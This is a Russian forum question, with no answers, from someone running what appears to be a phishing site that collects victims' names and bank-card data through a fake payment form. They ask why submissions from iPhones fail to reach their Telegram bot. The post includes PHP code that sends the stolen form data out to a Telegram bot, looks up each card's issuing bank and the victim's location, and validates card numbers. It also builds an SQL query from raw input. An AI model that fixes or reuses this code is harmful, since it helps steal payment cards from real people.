Не идут логи с iphone(POST)?

**(Есть сайт со скриптом и ботом в тг, через который я получаю эти логи). Не идут логи на "ios"(проверялось на iphone), браузерах Safari, Tor, Firefox. Как починить? Посетитель сайта оформляет заказ, который состоит из двух форм, почему-то на андроиде, хроме и других браузерах приходят данные с обоих форм, а с айфона... только со второй формы.

Accesslog:

Первая форма заполняется и отправляется.

217.138.209.150 - - [08/Jun/2020:12:50:44 +0000] "POST /payment/index.php HTTP/1.1" 200 12539 "https://*****************-IDIguNb7.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"

217.138.209.150 - - [08/Jun/2020:12:50:44 +0000] "POST /send2.php HTTP/1.1" 200 3302 "https://*****************-IDIguNb7.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"

Вторая застряет на этом месте, ничего не отправляет: 217.138.209.150 - - [08/Jun/2020:12:51:05 +0000] "POST /payment/index.php HTTP/1.1" 200 12328 "https://*****************-IDIguNb7.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0"

Errorlog:

И вот что в логе ошибок, не знаю что делать.

[Mon Jun 08 12:50:44.718338 2020] [:error] [pid 23949] [client 217.138.209.150:50890] PHP Notice: Undefined variable: ip in /home/admin/web/*****************/public_html/send2.php on line 20, referer: https://*****************IDIguNb7.html

[Mon Jun 08 12:50:45.203125 2020] [:error] [pid 23949] [client 217.138.209.150:50890] PHP Notice: Undefined index: card in /home/admin/web/*****************/public_html/send2.php on line 43, referer: https://*****************IDIguNb7.html

[Mon Jun 08 12:50:45.309403 2020] [:error] [pid 23949] [client 217.138.209.150:50890] PHP Notice: Undefined index: card in /home/admin/web/*****************/public_html/send2.php on line 74, referer: https://*****************IDIguNb7.html

<?php
// 794618071
session_start();
error_reporting(-1);
header('Content-Type: text/html; charset=utf-8');

function request($url, $postfields){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
return $server_output;
curl_close ($ch);
}
include("config.php");
$value = $_POST['value'];
$fio = $_POST["lastName"]." ".$_POST["firstName"]." ".$_POST["patronymic"];

ЁЁЁЁ ==== ЭТОТ КУСОК КОДА ВЫРЕЗАЛ==== if ($_SERVER['HTTP_X_FORWARDED_FOR']){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else{
$ip = $_SERVER["REMOTE_ADDR"];
}ЁЁЁЁ ===== ЭТОТ КУСОК КОДА ВЫРЕЗАЛ

$ip = explode(",", $ip);
$ip = $ip[0];
$ip = str_replace(" ", "", $ip);
if (!$_POST){
exit();
}
include("config.php");

$sql = "SELECT * FROM `links` where `link` = '".$_POST["li"]."'";
$res = mysqli_query($db, $sql);
$array= mysqli_fetch_array($res);

if (!mysqli_num_rows($res)){
echo 'sosi лох)';
// echo '';
file_get_contents("https://api.telegram.org/bot".$bot_id_."/sendmessage?chat_id=*******&text=Кто-то соснул send2.php mobile: ".json_encode($_POST, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)."");
exit();
}

$url = 'api.ipstack.com'.$ip.'?access_key=************&format=1';
$fgc = file_get_contents($url);
$arr = json_decode($fgc, 1);
$city = $arr['location']['country_flag_emoji'].''.$arr['city'].', '.$arr['region_name'].'';
$binName = json_decode(file_get_contents('https://lookup.binlist.net/' . substr(str_replace(' ', '', str_replace(' ', '', $_SESSION['card'])), 0, 8)), 1);
$binName = $binName['bank']['name'];
function luhn_check($number) {

// Strip any non-digits (useful for credit card numbers with spaces and hyphens)
$number=preg_replace('/\D/', '', $number);

// Set the string length and parity
$number_length=strlen($number);
$parity=$number_length % 2;

// Loop through each digit and do the maths
$total=0;
for ($i=0; $i<$number_length; $i++) {
$digit=$number[$i];
// Multiply alternate digits by two
if ($i % 2 == $parity) {
$digit*=2;
// If the sum is two digits, add them together (in effect)
if ($digit > 9) {
$digit-=9;
}
}
// Total up the digits
$total+=$digit;
}

// If the total mod 10 equals 0, the number is valid
return ($total % 10 == 0) ? TRUE : FALSE;**

Ответы (0 шт):